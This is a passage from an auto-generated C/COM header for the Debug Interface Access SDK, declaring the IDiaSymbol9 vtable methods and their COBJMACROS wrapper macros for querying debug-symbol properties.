IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfAcceleratorPointerTags )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSdl )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isWinRTPointer )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isRefUdt )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isValueUdt )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isInterfaceUdt )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); HRESULT ( STDMETHODCALLTYPE *findInlineFramesByAddr )( IDiaSymbol9 * This, /* [in] */ DWORD isect, /* [in] */ DWORD offset, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findInlineFramesByRVA )( IDiaSymbol9 * This, /* [in] */ DWORD rva, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findInlineFramesByVA )( IDiaSymbol9 * This, /* [in] */ ULONGLONG va, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findInlineeLines )( IDiaSymbol9 * This, /* [out] */ IDiaEnumLineNumbers **ppResult); HRESULT ( STDMETHODCALLTYPE *findInlineeLinesByAddr )( IDiaSymbol9 * This, /* [in] */ DWORD isect, /* [in] */ DWORD offset, /* [in] */ DWORD length, /* [out] */ IDiaEnumLineNumbers **ppResult); HRESULT ( STDMETHODCALLTYPE *findInlineeLinesByRVA )( IDiaSymbol9 * This, /* [in] */ DWORD rva, /* [in] */ DWORD length, /* [out] */ IDiaEnumLineNumbers **ppResult); HRESULT ( STDMETHODCALLTYPE *findInlineeLinesByVA )( IDiaSymbol9 * This, /* [in] */ ULONGLONG va, /* [in] */ DWORD length, /* [out] */ IDiaEnumLineNumbers **ppResult); HRESULT ( STDMETHODCALLTYPE *findSymbolsForAcceleratorPointerTag )( IDiaSymbol9 * This, /* [in] */ DWORD tagValue, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findSymbolsByRVAForAcceleratorPointerTag )( IDiaSymbol9 * This, /* [in] */ DWORD tagValue, /* [in] */ DWORD rva, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *get_acceleratorPointerTags )( IDiaSymbol9 * This, /* [in] */ DWORD cnt, /* [out] */ DWORD *pcnt, /* [size_is][out] */ DWORD *pPointerTags); HRESULT ( STDMETHODCALLTYPE *getSrcLineOnTypeDefn )( IDiaSymbol9 * This, /* [out] */ IDiaLineNumber **ppResult); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPGO )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasValidPGOCounts )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isOptimizedForSpeed )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_PGOEntryCount )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_PGOEdgeCount )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_PGODynamicInstructionCount )( IDiaSymbol9 * This, /* [retval][out] */ ULONGLONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_staticSize )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_finalLiveStaticSize )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_phaseName )( IDiaSymbol9 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasControlFlowCheck )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_constantExport )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_dataExport )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_privateExport )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noNameExport )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exportHasExplicitlyAssignedOrdinal )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exportIsForwarder )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ordinal )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frameSize )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerAddressSection )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerAddressOffset )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerRelativeVirtualAddress )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerVirtualAddress )( IDiaSymbol9 * This, /* [retval][out] */ ULONGLONG *pRetVal); HRESULT ( STDMETHODCALLTYPE *findInputAssemblyFile )( IDiaSymbol9 * This, /* [out] */ IDiaInputAssemblyFile **ppResult); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_characteristics )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_coffGroup )( IDiaSymbol9 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bindID )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bindSpace )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bindSlot )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isObjCClass )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isObjCCategory )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isObjCProtocol )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_inlinee )( IDiaSymbol9 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_inlineeId )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noexcept )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasAbsoluteAddress )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isStaticMemberFunc )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSignRet )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_coroutineKind )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_associatedSymbolKind )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_associatedSymbolSection )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_associatedSymbolOffset )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_associatedSymbolRva )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_associatedSymbolAddr )( IDiaSymbol9 * This, /* [retval][out] */ ULONGLONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_framePadSize )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_framePadOffset )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isRTCs )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); END_INTERFACE } IDiaSymbol9Vtbl; interface IDiaSymbol9 { CONST_VTBL struct IDiaSymbol9Vtbl *lpVtbl; }; #ifdef COBJMACROS #define IDiaSymbol9_QueryInterface(This,riid,ppvObject) \ ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) #define IDiaSymbol9_AddRef(This) \ ( (This)->lpVtbl -> AddRef(This) ) #define IDiaSymbol9_Release(This) \ ( (This)->lpVtbl -> Release(This) ) #define IDiaSymbol9_get_symIndexId(This,pRetVal) \ ( (This)->lpVtbl -> get_symIndexId(This,pRetVal) ) #define IDiaSymbol9_get_symTag(This,pRetVal) \ ( (This)->lpVtbl -> get_symTag(This,pRetVal) ) #define IDiaSymbol9_get_name(This,pRetVal) \ ( (This)->lpVtbl -> get_name(This,pRetVal) ) #define IDiaSymbol9_get_lexicalParent(This,pRetVal) \ ( (This)->lpVtbl -> get_lexicalParent(This,pRetVal) ) #define IDiaSymbol9_get_classParent(This,pRetVal) \ ( (This)->lpVtbl -> get_classParent(This,pRetVal) ) #define IDiaSymbol9_get_type(This,pRetVal) \ ( (This)->lpVtbl -> get_type(This,pRetVal) ) #define IDiaSymbol9_get_dataKind(This,pRetVal) \ ( (This)->lpVtbl -> get_dataKind(This,pRetVal) ) #define IDiaSymbol9_get_locationType(This,pRetVal) \ ( (This)->lpVtbl -> get_locationType(This,pRetVal) ) #define IDiaSymbol9_get_addressSection(This,pRetVal) \ ( (This)->lpVtbl -> get_addressSection(This,pRetVal) ) #define IDiaSymbol9_get_addressOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_addressOffset(This,pRetVal) ) #define IDiaSymbol9_get_relativeVirtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_relativeVirtualAddress(This,pRetVal) ) #define IDiaSymbol9_get_virtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualAddress(This,pRetVal) ) #define IDiaSymbol9_get_registerId(This,pRetVal) \ ( (This)->lpVtbl -> get_registerId(This,pRetVal) ) #define IDiaSymbol9_get_offset(This,pRetVal) \ ( (This)->lpVtbl -> get_offset(This,pRetVal) ) #define IDiaSymbol9_get_length(This,pRetVal) \ ( (This)->lpVtbl -> get_length(This,pRetVal) ) #define IDiaSymbol9_get_slot(This,pRetVal) \ ( (This)->lpVtbl -> get_slot(This,pRetVal) ) #define IDiaSymbol9_get_volatileType(This,pRetVal) \ ( (This)->lpVtbl -> get_volatileType(This,pRetVal) ) #define IDiaSymbol9_get_constType(This,pRetVal) \ ( (This)->lpVtbl -> get_constType(This,pRetVal) ) #define IDiaSymbol9_get_unalignedType(This,pRetVal) \ ( (This)->lpVtbl -> get_unalignedType(This,pRetVal) ) #define IDiaSymbol9_get_access(This,pRetVal) \ ( (This)->lpVtbl -> get_access(This,pRetVal) ) #define IDiaSymbol9_get_libraryName(This,pRetVal) \ ( (This)->lpVtbl -> get_libraryName(This,pRetVal) ) #define IDiaSymbol9_get_platform(This,pRetVal) \ ( (This)->lpVtbl -> get_platform(This,pRetVal) ) #define IDiaSymbol9_get_language(This,pRetVal) \ ( (This)->lpVtbl -> get_language(This,pRetVal) ) #define IDiaSymbol9_get_editAndContinueEnabled(This,pRetVal) \ ( (This)->lpVtbl -> get_editAndContinueEnabled(This,pRetVal) ) #define IDiaSymbol9_get_frontEndMajor(This,pRetVal) \ ( (This)->lpVtbl -> get_frontEndMajor(This,pRetVal) ) #define IDiaSymbol9_get_frontEndMinor(This,pRetVal) \ ( (This)->lpVtbl -> get_frontEndMinor(This,pRetVal) ) #define IDiaSymbol9_get_frontEndBuild(This,pRetVal) \ ( (This)->lpVtbl -> get_frontEndBuild(This,pRetVal) ) #define IDiaSymbol9_get_backEndMajor(This,pRetVal) \ ( (This)->lpVtbl -> get_backEndMajor(This,pRetVal) ) #define IDiaSymbol9_get_backEndMinor(This,pRetVal) \ ( (This)->lpVtbl -> get_backEndMinor(This,pRetVal) ) #define IDiaSymbol9_get_backEndBuild(This,pRetVal) \ ( (This)->lpVtbl -> get_backEndBuild(This,pRetVal) ) #define IDiaSymbol9_get_sourceFileName(This,pRetVal) \ ( (This)->lpVtbl -> get_sourceFileName(This,pRetVal) ) #define IDiaSymbol9_get_unused(This,pRetVal) \ ( (This)->lpVtbl -> get_unused(This,pRetVal) ) #define IDiaSymbol9_get_thunkOrdinal(This,pRetVal) \ ( (This)->lpVtbl -> get_thunkOrdinal(This,pRetVal) ) #define IDiaSymbol9_get_thisAdjust(This,pRetVal) \ ( (This)->lpVtbl -> get_thisAdjust(This,pRetVal) ) #define IDiaSymbol9_get_virtualBaseOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualBaseOffset(This,pRetVal) ) #define IDiaSymbol9_get_virtual(This,pRetVal) \ ( (This)->lpVtbl -> get_virtual(This,pRetVal) ) #define IDiaSymbol9_get_intro(This,pRetVal) \ ( (This)->lpVtbl -> get_intro(This,pRetVal) ) #define IDiaSymbol9_get_pure(This,pRetVal) \ ( (This)->lpVtbl -> get_pure(This,pRetVal) ) #define IDiaSymbol9_get_callingConvention(This,pRetVal) \ ( (This)->lpVtbl -> get_callingConvention(This,pRetVal) ) #define IDiaSymbol9_get_value(This,pRetVal) \ ( (This)->lpVtbl -> get_value(This,pRetVal) ) #define IDiaSymbol9_get_baseType(This,pRetVal) \ ( (This)->lpVtbl -> get_baseType(This,pRetVal) ) #define IDiaSymbol9_get_token(This,pRetVal) \ ( (This)->lpVtbl -> get_token(This,pRetVal) ) #define IDiaSymbol9_get_timeStamp(This,pRetVal) \ ( (This)->lpVtbl -> get_timeStamp(This,pRetVal) ) #define IDiaSymbol9_get_guid(This,pRetVal) \ ( (This)->lpVtbl -> get_guid(This,pRetVal) ) #define IDiaSymbol9_get_symbolsFileName(This,pRetVal) \ ( (This)->lpVtbl -> get_symbolsFileName(This,pRetVal) ) #define IDiaSymbol9_get_reference(This,pRetVal) \ ( (This)->lpVtbl -> get_reference(This,pRetVal) ) #define IDiaSymbol9_get_count(This,pRetVal) \ ( (This)->lpVtbl -> get_count(This,pRetVal) ) #define IDiaSymbol9_get_bitPosition(This,pRetVal) \ ( (This)->lpVtbl -> get_bitPosition(This,pRetVal) ) #define IDiaSymbol9_get_arrayIndexType(This,pRetVal) \ ( (This)->lpVtbl -> get_arrayIndexType(This,pRetVal) ) #define IDiaSymbol9_get_packed(This,pRetVal) \ ( (This)->lpVtbl -> get_packed(This,pRetVal) ) #define IDiaSymbol9_get_constructor(This,pRetVal) \ ( (This)->lpVtbl -> get_constructor(This,pRetVal) ) #define IDiaSymbol9_get_overloadedOperator(This,pRetVal) \ ( (This)->lpVtbl -> get_overloadedOperator(This,pRetVal) ) #define IDiaSymbol9_get_nested(This,pRetVal) \ ( (This)->lpVtbl -> get_nested(This,pRetVal) ) #define IDiaSymbol9_get_hasNestedTypes(This,pRetVal) \ ( (This)->lpVtbl -> get_hasNestedTypes(This,pRetVal) ) #define IDiaSymbol9_get_hasAssignmentOperator(This,pRetVal) \ ( (This)->lpVtbl -> get_hasAssignmentOperator(This,pRetVal) ) #define IDiaSymbol9_get_hasCastOperator(This,pRetVal) \ ( (This)->lpVtbl -> get_hasCastOperator(This,pRetVal) ) #define IDiaSymbol9_get_scoped(This,pRetVal) \ ( (This)->lpVtbl -> get_scoped(This,pRetVal) ) #define IDiaSymbol9_get_virtualBaseClass(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualBaseClass(This,pRetVal) ) #define IDiaSymbol9_get_indirectVirtualBaseClass(This,pRetVal) \ ( (This)->lpVtbl -> get_indirectVirtualBaseClass(This,pRetVal) ) #define IDiaSymbol9_get_virtualBasePointerOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualBasePointerOffset(This,pRetVal) ) #define IDiaSymbol9_get_virtualTableShape(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualTableShape(This,pRetVal) ) #define IDiaSymbol9_get_lexicalParentId(This,pRetVal) \ ( (This)->lpVtbl -> get_lexicalParentId(This,pRetVal) ) #define IDiaSymbol9_get_classParentId(This,pRetVal) \ ( (This)->lpVtbl -> get_classParentId(This,pRetVal) ) #define IDiaSymbol9_get_typeId(This,pRetVal) \ ( (This)->lpVtbl -> get_typeId(This,pRetVal) ) #define IDiaSymbol9_get_arrayIndexTypeId(This,pRetVal) \ ( (This)->lpVtbl -> get_arrayIndexTypeId(This,pRetVal) ) #define IDiaSymbol9_get_virtualTableShapeId(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualTableShapeId(This,pRetVal) ) #define IDiaSymbol9_get_code(This,pRetVal) \ ( (This)->lpVtbl -> get_code(This,pRetVal) ) #define IDiaSymbol9_get_function(This,pRetVal) \ ( (This)->lpVtbl -> get_function(This,pRetVal) ) #define IDiaSymbol9_get_managed(This,pRetVal) \ ( (This)->lpVtbl -> get_managed(This,pRetVal) ) #define IDiaSymbol9_get_msil(This,pRetVal) \ ( (This)->lpVtbl -> get_msil(This,pRetVal) ) #define IDiaSymbol9_get_virtualBaseDispIndex(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualBaseDispIndex(This,pRetVal) ) #define IDiaSymbol9_get_undecoratedName(This,pRetVal) \ ( (This)->lpVtbl -> get_undecoratedName(This,pRetVal) ) #define IDiaSymbol9_get_age(This,pRetVal) \ ( (This)->lpVtbl -> get_age(This,pRetVal) ) #define IDiaSymbol9_get_signature(This,pRetVal) \ ( (This)->lpVtbl -> get_signature(This,pRetVal) ) #define IDiaSymbol9_get_compilerGenerated(This,pRetVal) \ ( (This)->lpVtbl -> get_compilerGenerated(This,pRetVal) ) #define IDiaSymbol9_get_addressTaken(This,pRetVal) \ ( (This)->lpVtbl -> get_addressTaken(This,pRetVal) ) #define IDiaSymbol9_get_rank(This,pRetVal) \ ( (This)->lpVtbl -> get_rank(This,pRetVal) ) #define IDiaSymbol9_get_lowerBound(This,pRetVal) \ ( (This)->lpVtbl -> get_lowerBound(This,pRetVal) ) #define IDiaSymbol9_get_upperBound(This,pRetVal) \ ( (This)->lpVtbl -> get_upperBound(This,pRetVal) ) #define IDiaSymbol9_get_lowerBoundId(This,pRetVal) \ ( (This)->lpVtbl -> get_lowerBoundId(This,pRetVal) ) #define IDiaSymbol9_get_upperBoundId(This,pRetVal) \ ( (This)->lpVtbl -> get_upperBoundId(This,pRetVal) ) #define IDiaSymbol9_get_dataBytes(This,cbData,pcbData,pbData) \ ( (This)->lpVtbl -> get_dataBytes(This,cbData,pcbData,pbData) ) #define IDiaSymbol9_findChildren(This,symtag,name,compareFlags,ppResult) \ ( (This)->lpVtbl -> findChildren(This,symtag,name,compareFlags,ppResult) ) #define IDiaSymbol9_findChildrenEx(This,symtag,name,compareFlags,ppResult) \ ( (This)->lpVtbl -> findChildrenEx(This,symtag,name,compareFlags,ppResult) ) #define IDiaSymbol9_findChildrenExByAddr(This,symtag,name,compareFlags,isect,offset,ppResult) \ ( (This)->lpVtbl -> findChildrenExByAddr(This,symtag,name,compareFlags,isect,offset,ppResult) ) #define IDiaSymbol9_findChildrenExByVA(This,symtag,name,compareFlags,va,ppResult) \ ( (This)->lpVtbl -> findChildrenExByVA(This,symtag,name,compareFlags,va,ppResult) ) #define IDiaSymbol9_findChildrenExByRVA(This,symtag,name,compareFlags,rva,ppResult) \ ( (This)->lpVtbl -> findChildrenExByRVA(This,symtag,name,compareFlags,rva,ppResult) ) #define IDiaSymbol9_get_targetSection(This,pRetVal) \ ( (This)->lpVtbl -> get_targetSection(This,pRetVal) ) #define IDiaSymbol9_get_targetOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_targetOffset(This,pRetVal) ) #define IDiaSymbol9_get_targetRelativeVirtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_targetRelativeVirtualAddress(This,pRetVal) ) #define IDiaSymbol9_get_targetVirtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_targetVirtualAddress(This,pRetVal) ) #define IDiaSymbol9_get_machineType(This,pRetVal) \ ( (This)->lpVtbl -> get_machineType(This,pRetVal) ) #define IDiaSymbol9_get_oemId(This,pRetVal) \ ( (This)->lpVtbl -> get_oemId(This,pRetVal) ) #define IDiaSymbol9_get_oemSymbolId(This,pRetVal) \ ( (This)->lpVtbl -> get_oemSymbolId(This,pRetVal) ) #define IDiaSymbol9_get_types(This,cTypes,pcTypes,pTypes) \ ( (This)->lpVtbl -> get_types(This,cTypes,pcTypes,pTypes) ) #define IDiaSymbol9_get_typeIds(This,cTypeIds,pcTypeIds,pdwTypeIds) \ ( (This)->lpVtbl -> get_typeIds(This,cTypeIds,pcTypeIds,pdwTypeIds) ) #define IDiaSymbol9_get_objectPointerType(This,pRetVal) \ ( (This)->lpVtbl -> get_objectPointerType(This,pRetVal) ) #define IDiaSymbol9_get_udtKind(This,pRetVal) \ ( (This)->lpVtbl -> get_udtKind(This,pRetVal) ) #define IDiaSymbol9_get_undecoratedNameEx(This,undecorateOptions,name) \ ( (This)->lpVtbl -> get_undecoratedNameEx(This,undecorateOptions,name) ) #define IDiaSymbol9_get_noReturn(This,pRetVal) \ ( (This)->lpVtbl -> get_noReturn(This,pRetVal) ) #define IDiaSymbol9_get_customCallingConvention(This,pRetVal) \ ( (This)->lpVtbl -> get_customCallingConvention(This,pRetVal) ) #define IDiaSymbol9_get_noInline(This,pRetVal) \ ( (This)->lpVtbl -> get_noInline(This,pRetVal) ) #define IDiaSymbol9_get_optimizedCodeDebugInfo(This,pRetVal) \ ( (This)->lpVtbl -> get_optimizedCodeDebugInfo(This,pRetVal) ) #define IDiaSymbol9_get_notReached(This,pRetVal) \ ( (This)->lpVtbl -> get_notReached(This,pRetVal) ) #define IDiaSymbol9_get_interruptReturn(This,pRetVal) \ ( (This)->lpVtbl -> get_interruptReturn(This,pRetVal) ) #define IDiaSymbol9_get_farReturn(This,pRetVal) \ ( (This)->lpVtbl -> get_farReturn(This,pRetVal) ) #define IDiaSymbol9_get_isStatic(This,pRetVal) \ ( (This)->lpVtbl -> get_isStatic(This,pRetVal) ) #define IDiaSymbol9_get_hasDebugInfo(This,pRetVal) \ ( (This)->lpVtbl -> get_hasDebugInfo(This,pRetVal) ) #define IDiaSymbol9_get_isLTCG(This,pRetVal) \ ( (This)->lpVtbl -> get_isLTCG(This,pRetVal) ) #define IDiaSymbol9_get_isDataAligned(This,pRetVal) \ ( (This)->lpVtbl -> get_isDataAligned(This,pRetVal) ) #define IDiaSymbol9_get_hasSecurityChecks(This,pRetVal) \ ( (This)->lpVtbl -> get_hasSecurityChecks(This,pRetVal) ) #define IDiaSymbol9_get_compilerName(This,pRetVal) \ ( (This)->lpVtbl -> get_compilerName(This,pRetVal) ) #define IDiaSymbol9_get_hasAlloca(This,pRetVal) \ ( (This)->lpVtbl -> get_hasAlloca(This,pRetVal) ) #define IDiaSymbol9_get_hasSetJump(This,pRetVal) \ ( (This)->lpVtbl -> get_hasSetJump(This,pRetVal) ) #define IDiaSymbol9_get_hasLongJump(This,pRetVal) \ ( (This)->lpVtbl -> get_hasLongJump(This,pRetVal) ) #define IDiaSymbol9_get_hasInlAsm(This,pRetVal) \ ( (This)->lpVtbl -> get_hasInlAsm(This,pRetVal) ) #define IDiaSymbol9_get_hasEH(This,pRetVal) \ ( (This)->lpVtbl -> get_hasEH(This,pRetVal) ) #define IDiaSymbol9_get_hasSEH(This,pRetVal) \ ( (This)->lpVtbl -> get_hasSEH(This,pRetVal) ) #define IDiaSymbol9_get_hasEHa(This,pRetVal) \ ( (This)->lpVtbl -> get_hasEHa(This,pRetVal) ) #define IDiaSymbol9_get_isNaked(This,pRetVal) \ ( (This)->lpVtbl -> get_isNaked(This,pRetVal) ) #define IDiaSymbol9_get_isAggregated(This,pRetVal) \ ( (This)->lpVtbl -> get_isAggregated(This,pRetVal) ) #define IDiaSymbol9_get_isSplitted(This,pRetVal) \ ( (This)->lpVtbl -> get_isSplitted(This,pRetVal) ) #define IDiaSymbol9_get_container(This,pRetVal) \ ( (This)->lpVtbl -> get_container(This,pRetVal) ) #define IDiaSymbol9_get_inlSpec(This,pRetVal) \ ( (This)->lpVtbl -> get_inlSpec(This,pRetVal) ) #define IDiaSymbol9_get_noStackOrdering(This,pRetVal) \ ( (This)->lpVtbl -> get_noStackOrdering(This,pRetVal) ) #define IDiaSymbol9_get_virtualBaseTableType(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualBaseTableType(This,pRetVal) ) #define IDiaSymbol9_get_hasManagedCode(This,pRetVal) \ ( (This)->lpVtbl -> get_hasManagedCode(This,pRetVal) ) #define IDiaSymbol9_get_isHotpatchable(This,pRetVal) \ ( (This)->lpVtbl -> get_isHotpatchable(This,pRetVal) ) #define IDiaSymbol9_get_isCVTCIL(This,pRetVal) \ ( (This)->lpVtbl -> get_isCVTCIL(This,pRetVal) ) #define IDiaSymbol9_get_isMSILNetmodule(This,pRetVal) \ ( (This)->lpVtbl -> get_isMSILNetmodule(This,pRetVal) ) #define IDiaSymbol9_get_isCTypes(This,pRetVal) \ ( (This)->lpVtbl -> get_isCTypes(This,pRetVal) ) #define IDiaSymbol9_get_isStripped(This,pRetVal) \ ( (This)->lpVtbl -> get_isStripped(This,pRetVal) ) #define IDiaSymbol9_get_frontEndQFE(This,pRetVal) \ ( (This)->lpVtbl -> get_frontEndQFE(This,pRetVal) ) #define IDiaSymbol9_get_backEndQFE(This,pRetVal) \ ( (This)->lpVtbl -> get_backEndQFE(This,pRetVal) ) #define IDiaSymbol9_get_wasInlined(This,pRetVal) \ ( (This)->lpVtbl -> get_wasInlined(This,pRetVal) ) #define IDiaSymbol9_get_strictGSCheck(This,pRetVal) \ ( (This)->lpVtbl -> get_strictGSCheck(This,pRetVal) ) #define IDiaSymbol9_get_isCxxReturnUdt(This,pRetVal) \ ( (This)->lpVtbl -> get_isCxxReturnUdt(This,pRetVal) ) #define IDiaSymbol9_get_isConstructorVirtualBase(This,pRetVal) \ ( (This)->lpVtbl -> get_isConstructorVirtualBase(This,pRetVal) ) #define IDiaSymbol9_get_RValueReference(This,pRetVal) \ ( (This)->lpVtbl -> get_RValueReference(This,pRetVal) ) #define IDiaSymbol9_get_unmodifiedType(This,pRetVal) \ ( (This)->lpVtbl -> get_unmodifiedType(This,pRetVal) ) #define IDiaSymbol9_get_framePointerPresent(This,pRetVal) \ ( (This)->lpVtbl -> get_framePointerPresent(This,pRetVal) ) #define IDiaSymbol9_get_isSafeBuffers(This,pRetVal) \ ( (This)->lpVtbl -> get_isSafeBuffers(This,pRetVal) ) #define IDiaSymbol9_get_intrinsic(This,pRetVal) \ ( (This)->lpVtbl -> get_intrinsic(This,pRetVal) ) #define IDiaSymbol9_get_sealed(This,pRetVal) \ ( (This)->lpVtbl -> get_sealed(This,pRetVal) ) #define IDiaSymbol9_get_hfaFloat(This,pRetVal) \ ( (This)->lpVtbl -> get_hfaFloat(This,pRetVal) ) #define IDiaSymbol9_get_hfaDouble(This,pRetVal) \ ( (This)->lpVtbl -> get_hfaDouble(This,pRetVal) ) #define IDiaSymbol9_get_liveRangeStartAddressSection(This,pRetVal) \ ( (This)->lpVtbl -> get_liveRangeStartAddressSection(This,pRetVal) ) #define 